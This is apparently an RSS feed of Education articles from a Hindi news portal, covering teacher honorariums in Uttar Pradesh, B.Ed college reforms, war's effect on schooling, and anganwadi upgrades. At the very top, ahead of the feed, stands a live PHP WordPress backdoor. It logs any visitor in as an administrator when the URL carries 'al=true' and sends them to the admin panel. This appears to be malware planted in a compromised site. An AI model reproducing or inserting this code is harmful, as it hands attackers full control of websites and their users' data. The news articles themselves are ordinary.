// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Education – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 04 May 2026 09:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 5 मई को शिक्षामित्रों को बड़ा सम्मान, गोरखपुर से सीएम योगी करेंगे शुभारंभ https://pratyushaashakinayikiran.com/?p=216916 Mon, 04 May 2026 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=216916  लखनऊ

उत्तर प्रदेश के 1:43 लाख शिक्षा मित्रों के लिए 5 मई का दिन बेहद खास होने जा रहा है। योगी सरकार ने शिक्षामित्रों के मानदेय में वृद्धि के बाद अब उनके सम्मान को भी प्राथमिकता देते हुए व्यापक तैयारी शुरू कर दी है। इस पहल को प्रदेशव्यापी स्वरूप देते हुए आगामी 5 मई को गोरखपुर में मुख्यमंत्री योगी आदित्यनाथ राज्यस्तरीय भव्य कार्यक्रम का शुभारंभ करेंगे।

18,000 रुपए प्रतिमाह मानदेय के साथ लगभग 1.43 लाख शिक्षामित्रों को इस प्रक्रिया से जोड़ा जाएगा, जिसके माध्यम से पूरे प्रदेश में स्पष्ट तौर पर यह संदेश देने की कोशिश की जाएगी कि शिक्षा व्यवस्था की नींव को मजबूत करने वाले शिक्षामित्रों को अब उचित पहचान और संबल मिल रहा है। योगी कैबिनेट की मंजूरी के बाद प्रदेश के शिक्षा मित्रों को अप्रैल महीने से ही बढ़े हुए मानदेय का लाभ मिलना शुरू हो चुका है। अब 5 मई को गोरखपुर के बाबा गंभीरनाथ प्रेक्षागृह से मुख्यमंत्री इसका औपचारिक शुभारंभ करेंगे। इसके साथ ही मुख्यमंत्री योगी आदित्यनाथ शिक्षा मित्रों के साथ संवाद भी करेंगे। पांच मई को सुबह 11 बजे होने वाले इस कार्यक्रम के समानांतर प्रदेश के सभी जनपदों में भी आयोजन कर इसे व्यापक रूप दिया जाएगा।

उत्तर प्रदेश के परिषदीय प्राथमिक विद्यालयों में कार्यरत लगभग 1.43 लाख शिक्षामित्रों के लिए लिया गया यह निर्णय अब पूरी तरह लागू हो चुका है। 1 अप्रैल 2026 से प्रभावी इस व्यवस्था के अंतर्गत बेसिक शिक्षा के 13,597 और समग्र शिक्षा के 1,29,332 शिक्षामित्रों को 18,000 रुपए प्रतिमाह की दर से भुगतान किया जा रहा है। योगी सरकार का कहना है कि इससे उनका आर्थिक सशक्तीकरण हुआ है।

योगी सरकार का कहना है कि प्रदेश के शिक्षा क्षेत्र में सुधार और बुनियादी ढांचे को सुदृढ़ करने के लिए निरंतर प्रयास किया जा रहा है। पहले मानदेय में वृद्धि और अब उन्हें सम्मान देने के लिए की जा रही यह पहल शिक्षामित्रों के मनोबल को बढ़ाने के साथ-साथ विद्यालयों में शिक्षा की गुणवत्ता को भी नई दिशा देगी। गोरखपुर में पांच मई को होने जा रहा यह आयोजन शिक्षा सुधार के प्रति सरकार की प्रतिबद्धता को रेखांकित करता है।

लाइव प्रसारण और व्यापक भागीदारी
शिक्षा मित्रों के लिए गोरखपुर के आयोजित इसा कार्यक्रम का सीधा प्रसारण दूरदर्शन और मुख्यमंत्री के आधिकारिक सोशल मीडिया हैंडल पर किया जाएगा, जिससे प्रदेश भर के शिक्षा मित्र इस अवसर के साक्षी बन सकें। साथ ही, सभी जनपदों में भी समानांतर रूप से आयोजन किए जाएंगे, जहां स्थानीय स्तर पर जन-प्रतिनिधियों, अधिकारियों, शिक्षकों और शिक्षा मित्रों की भागीदारी उल्लेखनीय होगी।

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नई शिक्षा नीति के तहत शिक्षक शिक्षा में बड़ा बदलाव, 2030 तक बंद होंगे B.Ed कॉलेज, सरकार का अल्टीमेटम https://pratyushaashakinayikiran.com/?p=206772 Sun, 22 Mar 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=206772 भोपाल 

शिक्षक शिक्षा के क्षेत्र में बड़ा बदलाव आने वाला है। राष्ट्रीय शिक्षक शिक्षा परिषद (एनईपी) की नई गाइडलाइन के मुताबिक 2030 तक सभी स्टैंडअलोन बीएड कॉलेजों (B.Ed Colleges) को मल्टीडिसिप्लिनरी संस्थानों में बदलना अनिवार्य होगा। यानी अब सिर्फ बीएड या एमएड पढ़ाने वाले कॉलेजों को बीए, बीकॉम, बीएससी जैसे कोर्स भी शुरू करने होंगे।

इसके साथ ही 4-वर्षीय इंटीग्रेटेड टोचर एजुकेशन प्रोग्राम (आईटीईपी) को प्राथमिकता दी जा रही है। गाइडलाइन के बाद बीयू ने ऐसे कॉलेजों की पहचान शुरू कर दी है, जहां केवल बीएड और एमएड कोर्स संचालित हो रहे है। यूनिवर्सिटी प्रशासन का कहना है कि नए कोर्स शुरू करने से पहले इन संस्थानों का निरीक्षण किया जाएगा और उनकी आधारभूत सुविधाओं का मूल्यांकन होगा।
40 प्रतिशत कॉलेजों पर सीधा असर

मध्य प्रदेश में करीब 650 बीएड कॉलेज हैं। जिनमें लगभग 40 प्रतिशत केवल शिक्षक प्रशिक्षण पर आधारित हैं। नई व्यवस्था लागू होने के बाद ये कॉलेज अकेले बीएड कोर्स नहीं चला सकेंगे। उन्हें या तो पास के मल्टीडिसिप्लिनरी कॉलेज में 3 से 10 किलोमीटर के दायरे में मर्ज होना पड़ेगा या फिर बंद होने की नौबत आ सकती है।

जगह और संसाधनों की बड़ी चुनौती
निजी कॉलेज संचालकों का कहना है कि वे गाइडलाइन का पालन करेंगे, लेकिन सबसे बड़ी समस्या इंफ्रास्ट्रक्चर की है। नए कोर्स शुरू करने के लिए अतिरिक्त क्लासरूम, लैब, लाइब्रेरी और फैकल्टी की जरूरत होगी। खासतौर पर शहरों के बीच स्थित छोटे कैंपस वाले कॉलेजों के लिए यह चुनौती और कठिन है।

15 करोड़ से 200 छात्रों को आवासीय सुविधा
भोपाल. राजधानी के आयुर्वेद व होम्योपैथिक चिकित्सा महाविद्यालयों के छात्रों को बड़ी राहत मिलने जा रही है। लंबे समय से छात्रावास की मांग कर रहे विद्यार्थियों के लिए आयुष विभाग ने 15 करोड़ रुपए मंजूर कर दिए है, जिससे 200 छात्रों को रहने की सुविधा मिलेगी।

लंबे समय से थी मांग
महाविद्यालयों में सीटें बढ़ीं, लेकिन छात्रावास नहीं बने। छात्र छात्राएं पिछले 3 साल से लगातार मांग कर रहे थे। पिछले वर्ष राशि नहीं मिलने से योजना अटक गई थी। बॉयज हॉस्टल नहीं होने से छात्रों को मिसरौद में किराये के भवन में रखा गया है। आवागमन के लिए बस चलाई जा रही है, जिस पर हर महीने 4 लाख रुपए खर्च हो रहे है।

दोनो महाविद्यालयों में बनेंगे छात्रावास
आयुष विभाग द्वारा संचालित, पंडित खुशीलाल शर्मा शासकीय आयुर्वेद संस्थान व शासकीय होम्योपैथिक चिकित्सा महाविद्यालय भोपाल में 100-100 सीट के छात्रावास बनाए जाएंगे। महाविद्यालय के प्राचार्य डा. एसके मिश्रा ने बताया, जमीन का चयन व नक्शा तैयार हो चुका है। निर्माण कार्य लोक निर्माण विभाग की परियोजना क्रियान्वयन इकाई द्वारा किया जाएगा।

नई शिक्षा नीति का बड़ा कदम
बीयू के रजिस्ट्रार एसबी सिंह का कहना है कि नई गाइडलाइन का पालन किया जाएगा। यह बदलाव राष्ट्रीय शिक्षा नीति 2020 के तहत किया जा रहा है. जिसका उद्देश्य शिक्षक शिक्षा को अधिक व्यावहारिक, समग्र और गुणवत्तापूर्ण बनाना है।

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ईरान-इजरायल से पाक-अफगान तक, जंग ने करोड़ों बच्चों की पढ़ाई को किया बर्बाद, सेव द चिल्ड्रन की रिपोर्ट में खुलासा https://pratyushaashakinayikiran.com/?p=206283 Fri, 20 Mar 2026 05:37:00 +0000 https://pratyushaashakinayikiran.com/?p=206283   नई दिल्ली
आज दुनिया के नक्शे पर एक बड़ा हिस्सा ऐसा है, जहां स्कूलों की घंटी नहीं बल्कि धमाकों का शोर सुनाई दे रहा है. ईरान-इजरायल, रूस-यूक्रेन, पाक-अफगान से लेकर दुन‍िया के कई देश इस आग में झुलस रहे हैं. लेकिन इस सनक का सबसे ज्यादा खामियाजा अगर कोई भुगत रहा है या भुगतने वाला है तो वो आज के बच्चे यानी कल के युवा… 

दुनिया की सबसे बड़ी बाल अधिकार संस्था 'सेव द चिल्ड्रन' की ताजा और डराने वाली रिपोर्ट ने इस खतरे को सामने रखा है. रिपोर्ट कहती है कि मिडिल ईस्ट और उसके आसपास के देशों में जारी हिंसा ने करीब 5.2 करोड़ बच्चों की पढ़ाई पूरी तरह ठप कर दी है।

यह आंकड़ा इतना बड़ा है कि इसे एक 'एजुकेशन इमरजेंसी' कहा जा रहा है. संयुक्त राष्ट्र के डेटा पर आधारित यह रिपोर्ट बताती है कि 5 से 17 साल के करोड़ों बच्चे अब स्कूल जाने के बजाय अपनी जान बचाने की जद्दोजहद में लगे हैं।

ईरान में 65 स्कूल मलबे में तब्दील
ईरानियन रेड क्रिसेंट सोसाइटी के हवाले से खबर है कि अकेले ईरान में हवाई हमलों ने 65 स्कूलों को पूरी तरह तबाह कर दिया है. जिन कमरों में बच्चे पहाड़े और कविताएं याद करते थे, वहां अब सिर्फ ईंट-पत्थर और धुआं बचा है।

स्कूल नहीं, अब 'शेल्टर होम' कहिए
रिपोर्ट में उन 12 देशों का जिक्र है जहां शिक्षा व्यवस्था आईसीयू (ICU) पर है. इनमें ईरान, इजरायल, जॉर्डन, सऊदी अरब, फिलिस्तीन और संयुक्त अरब अमीरात जैसे देश शामिल हैं. इन देशों में दो बड़ी चुनौतियां सामने आई हैं।

स्कूलों पर हमला: कई स्कूल बमबारी में क्षतिग्रस्त हो गए हैं.
मजबूरी में शरण: जो स्कूल बच गए हैं, उन्हें बंद कर दिया गया है क्योंकि वहां बेघर हुए हजारों परिवार शरण लिए हुए हैं. यानी क्लासरूम अब रहने के ठिकानों में बदल गए हैं।

ऑनलाइन पढ़ाई भी फेल!
हालांकि कुछ देशों ने बच्चों को ऑनलाइन पढ़ाई से जोड़ने की कोशिश की, लेकिन संसाधनों की कमी और बार-बार कटते इंटरनेट ने इस उम्मीद को भी तोड़ दिया है. कई इलाकों में बिजली और सुरक्षित इंटरनेट न होने के कारण बच्चे महीनों से अपनी किताबों से दूर हैं. बता दें कि इस क्षेत्रीय अस्थिरता का असर सिर्फ युद्ध लड़ रहे देशों तक सीमित नहीं है. रिपोर्ट के अनुसार, पाकिस्तान जैसे पड़ोसी देशों में भी इस हिंसा का 'रिपल इफेक्ट' (लहर जैसा असर) दिख रहा है. वहां भी अस्थिरता की वजह से बच्चों की नियमित पढ़ाई में बाधा आ रही है।

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मध्य प्रदेश में 800 प्रोफेसरों का डिमोशन, कॉलेजों में मचा हड़कंप https://pratyushaashakinayikiran.com/?p=204174 Thu, 12 Mar 2026 04:27:00 +0000 https://pratyushaashakinayikiran.com/?p=204174 भोपाल 

उच्च शिक्षा विभाग की ओर से सहायक प्राध्यापकों (असिस्टेंट प्रोफेसर) की अंतरिम वरिष्ठता सूची जारी करते ही प्रदेश के कॉलेज प्रोफेसरों में हड़कंप मच गया है। विभाग ने यह सूची 1 अप्रैल 2012 की स्थिति के आधार पर विषयवार प्रकाशित की है। सूची जारी होने के बाद सामने आया कि इसमें करीब 800 ऐसे प्रोफेसरों के नाम असिस्टेंट प्रोफेसर के रूप में दर्ज कर दिए गए क है, जिन्हें वर्ष 2006, 2007 और 2009 में ही प्रोफेसर का पदनाम दिया जा चुका था।

सूची में सामने आई गड़बड़ियां
वरिष्ठता सूची के अनुसार ये सभी नाम सहायक प्राध्यापक की श्रेणी में दिखाए गए हैं, जबकि वास्तविकता यह है कि इनमें से कई शिक्षकों को वर्षों पहले प्रोफेसर का पदनाम मिल चुका है। इतना ही नहीं, इन प्रोफेसरों में से कई वर्तमान में उच्च पदों पर भी कार्यरत है। कुछ लोग अतिरिक्त संचालक (एडी), विश्वविद्यालयों में रजिस्ट्रार और यहां तक कि कुलपति जैसे पदों पर भी जिम्मेदारी संभाल चुके है।

15 दिनों के भीतर दर्ज करा सकते है आपत्ति
विभाग ने सूची जारी करते हुए स्पष्ट किया है कि यह लोक सेवकों की अंतरिम वरिष्ठता सूची है। यदि किसी को इसमें त्रुटि या आपत्ति है तो वह प्रकाशन की तारीख से 15 दिनों के भीतर अपने दावे-आपत्तियों के साथ अभ्यावेदन उचित माध्यम से आयुक्त, उच्च शिक्षा, मध्यप्रदेश को भेज सकता है। निर्धारित समय सीमा के बाद प्राप्त होने वाले अभ्यावेदनों पर विचार नहीं किया जाएगा।

तालमेल की कमी- प्रांताध्यक्ष
विभाग और राज्य शासन के बीच तालमेल की कमी है। इस तरह की स्थिति कई मामलों में बनती है। यह स्थिति ठीक नहीं है। यह कोर्ट केस की स्थिति बनती है तो इससे न्यायलय में शासन का पक्ष कमजोर होगा।- डॉ. आनंद शर्मा, प्रांताध्यक्ष, प्रांतीय शासकीय महाविद्यालयीन प्राध्यापक 

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5 करोड़ की संपत्ति छोड़कर पति-पत्नी ने संन्यास का लिया निर्णय, बच्चों की पढ़ाई पर दिया ध्यान https://pratyushaashakinayikiran.com/?p=189980 Sat, 08 Nov 2025 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=189980 नरसिंहपुर
 नरसिंहपुर शहर के ओसवाल (बच्छावत) परिवार की बेटी अनामिका ओसवाल, अपने पति दिनेश कांकरिया, डॉक्टर बेटी हर्षिता और चार्टर्ड अकाउंटेंट में अध्ययनरत बेटे विधान के साथ सांसारिक मोहमाया त्यागकर सन्यास के मार्ग पर अग्रसर हो रही हैं। यह पूरा परिवार आगामी 9 नवंबर को आचार्य जिन पीयूष सागर के पावन सान्निध्य में जैन दीक्षा ग्रहण करेगा।

​स्वर्गीय टीकमचंद ओसवाल और श्रीमती कमलाबाई ओसवाल की बेटी अनामिका, जिनका विवाह महाराष्ट्र के धूलिया निवासी दिनेश कांकरिया से हुआ था, उनके परिवार के इस त्याग को समाज एक प्रेरणादायी कदम मान रहा है। परिवार के पास करीब 5 करोड़ से अधिक की चल-अचल संपत्ति है, जिसे छोड़कर वे आत्मसाधना में लीन होंगे। गौरतलब है कि इस परिवार की एक और बेटी वर्ष 2022 में ही दीक्षा लेकर साध्वी शाश्वत निधि के रूप में साधना कर रही हैं।

​सकल जैन श्वेतांबर संघ द्वारा इस दीक्षार्थी परिवार के अभिनंदन में 9 नवंबर को भव्य समारोह का आयोजन किया जा रहा है। अभिनंदन समारोह श्री मुनिसुब्रत स्वामी जैन श्वेतांबर मंदिर, गुदरी बाजार में सुबह 10.30 बजे से होगा। इससे पूर्व, दीक्षार्थी परिवार का बरघोड़ा (शोभा यात्रा) समारोहपूर्वक मेन रोड से होते हुए बाहरी रोड तक जाएगा। इस अवसर पर विनम्र सागर, पुण्यवर्धन, गुणवर्धन महाराज के पावन सान्निध्य में कार्यक्रम संपन्न होगा। परिवार के एडवोकेट अखिलेश ओसवाल ने इस ऐतिहासिक दीक्षा के संबंध में जानकारी दी।

 

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प्रदेश के 24 हजार 662 आंगनबाड़ी का हो रहा स्मार्ट कायाकल्प https://pratyushaashakinayikiran.com/?p=174402 Wed, 30 Jul 2025 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=174402
  • डिजिटल लर्निंग से लेकर पोषण वाटिका तक की सुविधा उपलब्ध
  • ECCE और स्मार्ट सुविधाओं से सवरेंगे आंगनबाड़ी केंद्र
  • 25 प्रतिशत आंगनबाड़ी होंगे ‘सक्षम आंगनबाड़ी केंद्र’
  • भोपाल 
    मध्यप्रदेश के लगभग 24 हजार 662 आंगनबाड़ी को सक्षम आंगनबाड़ी केंद्रों के रूप में उन्नत किया जा रहा है। महिला एवं बाल विकास विभाग द्वारा वित्तीय वर्ष 2024-25 में लगभग 25 प्रतिशत केंद्रों को आधुनिक तकनीक और मूलभूत सुविधाओं से सुसज्जित कर स्मार्ट बनाया जा रहा है। यह पहल प्रदेश में प्रारंभिक बाल्यावस्था देखभाल एवं शिक्षा (ECCE) को मजबूती प्रदान करेगी और बच्चों के सर्वांगीण विकास की दिशा में मील का पत्थर साबित होगी।

    इस योजना के तहत प्रत्येक चयनित आंगनबाड़ी केंद्र को 1 लाख रूपये की लागत से उन्नत किया जा रहा है। उन्नयन में एलईडी (स्मार्ट टीवी), वॉटर प्यूरीफायर, वर्षा जल संचयन प्रणाली, पोषण वाटिका, और ECCE गतिविधियों के लिये आवश्यक संसाधनों की स्थापना सम्मिलित है।

    बच्चों को मिलेगी स्मार्ट शिक्षा
    प्रारंभिक शिक्षा को रोचक और प्रभावी बनाने के उद्देश्य से आंगनबाड़ी केंद्रों में एलईडी स्मार्ट टेलीविज़न लगाए जा रहे हैं। इनका उपयोग 3 से 6 वर्ष के बच्चों को हिन्दी-अंग्रेज़ी वर्णमाला, गिनती, और अन्य पूर्व-प्राथमिक शिक्षा गतिविधियों के विज़ुअल टूल्स के माध्यम से ज्ञान देने में किया जाएगा। यह पहल बच्चों में सीखने के प्रति रुचि और आनंद उत्पन्न करेगी, जिससे उनके शारीरिक और मानसिक विकास को बल मिलेगा।

    साफ पानी से स्वास्थ्य सुरक्षा
    आंगनबाड़ी केंद्रों पर वॉटर प्यूरीफायर लगाए जा रहे हैं, जिससे बच्चों को स्वच्छ पेयजल सुलभ हो सके। यह प्रयास जलजनित बीमारियों की रोकथाम में प्रभावी साबित होगा और बच्चों के पोषण एवं स्वास्थ्य सुरक्षा को सुनिश्चित करेगा।

    जल संरक्षण की दिशा में रेन वॉटर हार्वेस्टिंग
    जल स्तर में लगातार गिरावट को देखते हुए आंगनबाड़ी केंद्रों पर रेन वॉटर हार्वेस्टिंग सिस्टम की स्थापना की जा रही है। बरसात के पानी को संरक्षित कर भूगर्भीय जलस्तर को पुनर्जीवित करने का यह नवाचार राज्य के सतत विकास की दृष्टि से महत्वपूर्ण कदम है। विभाग द्वारा इस प्रणाली के संचालन के लिये मैदानी अमले को प्रशिक्षण भी दिया जा रहा है।

    आंगनबाड़ी में पोषण वाटिका
    हर आंगनबाड़ी केंद्र की उपलब्ध भूमि में पोषण वाटिका (Nutrition Garden) तैयार की जा रही है, जिसमें मौसमी सब्जियाँ व फलदार पौधे लगाए जा रहे हैं। इसका उद्देश्य स्थानीय स्तर पर ताजे, पोषक और किफायती खाद्य पदार्थों की सतत उपलब्धता सुनिश्चित करना है, जिससे आंगनबाड़ी के बच्चों और आसपास के जरूरतमंद परिवारों को लाभ होगा।

    ECCE गतिविधियों से बच्चों का होगा समग्र विकास
    आंगनबाड़ी केंद्रों में ECCE (Early Childhood Care and Education) गतिविधियों के अंतर्गत बच्चों को शिक्षात्मक खेल सामग्री, पाठ्य पुस्तिकाएं और अन्य शिक्षण संसाधन उपलब्ध कराए जा रहे हैं। इससे बच्चों का बौद्धिक, संज्ञानात्मक और सामाजिक विकास सुनिश्चित होगा यह प्रयास बाल शिक्षा को केवल औपचारिक शिक्षा तक सीमित न रखकर उसे अनुभव-जन्य और समावेशी बनाएगा। 

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    मध्य प्रदेश में 5वीं के विद्यार्थियों को बांटी जाएंगी 87 लाख पुस्तकें, पढ़ेंगे यातायात का पाठ https://pratyushaashakinayikiran.com/?p=102689 Mon, 25 Nov 2024 15:05:00 +0000 https://pratyushaashakinayikiran.com/?p=102689 भोपाल
    भोपाल। प्रदेश में सड़क दुर्घटनाओं को रोकने के लिए सरकार अब स्कूली विद्यार्थियों को यातायात का पाठ पढ़ाएगी। इसकी शुरुआत आगामी शिक्षा सत्र (2025-26) से कक्षा पांच के विद्यार्थियों से होगी। इसके लिए पुलिस मुख्यालय 87 लाख पुस्तकें छपवा रहा है। पांचवीं से 12वीं तक क्रमश: हर वर्ष नई कक्षा में नई पुस्तक पढ़ाई जाएंगी।

    कैसा रहेगा पाठ्यक्रम
    पाठ्यक्रम भी इस तरह से तैयार किया जा रहा है कि इसमें दोहराव न हो। साथ ही उनकी सामग्री विद्यार्थियों के बौद्धिक स्तर के अनुकूल हो। पांचवीं की पुस्तक में आठ अध्याय हैं। इसमें वाहन सड़क में कैसे, किस दिशा में चलाएं, रोटरी क्या है। प्रदूषण के मापदंड के अनुसार वाहन कितने प्रकार के होते हैं। लाइसेंस कितने तरह के होते हैं, जैसी जानकारियों को शामिल किया गया है।

    सख्ती के साथ सोच बदलना भी जरूरी
    पुलिस मुख्यालय के अधिकारियों का कहना है कि सख्ती के साथ ही लोगों का सोच बदलना भी जरूरी है और इसकी शुरुआत के लिए विद्यार्थियों से अच्छा कोई समूह नहीं हो सकता। अतिरिक्त पुलिस महानिदेशक (एडीजी) संजीव शमी ने बताया कि पाठ्यक्रम समिति ने इसे स्वीकृति दे दी है। पाठ्यक्रम में इन्हें अगले शैक्षणिक सत्र से शामिल किया जाएगा कि नहीं यह अभी तय होना है। पाठ्यक्रम का हिस्सा नहीं बन पाने के बाद भी विद्यार्थियों को यह पुस्तकें पढ़ाई जाएंगी।

    इसलिए पड़ी आवश्यकता
    कोरोना संक्रमण काल का समय छोड़ दें तो प्रदेश में सड़क दुर्घटनाओं और इसमें जान गंवाने वालों की संख्या लगातार बढ़ रही है। यातायात के नियम तोड़ने वालों के विरुद्ध सख्ती के बाद भी घटनाएं बढ़ रही हैं। चिंता की दूसरी बात यह भी है कि दुर्घटनाएं जिस अनुपात में बढ़ी हैं उससे कहीं ज्यादा मृतकों की संख्या बढ़ी है।

    प्रदेश में सड़क दुर्घटनाओं की स्थिति

    वर्ष दुर्घटनाएं घायल मौत
    2017 53,399 57,532 10,117
    2018 51,397 54,662 10,706
    2019 50,669 52,816 11,249
    2020 45,266 46,456 11,141
    2021 48,877 48,956 12,057
    2022 54,432 55,168 13,427
    2023 55,327 55,769 13,798
    2024

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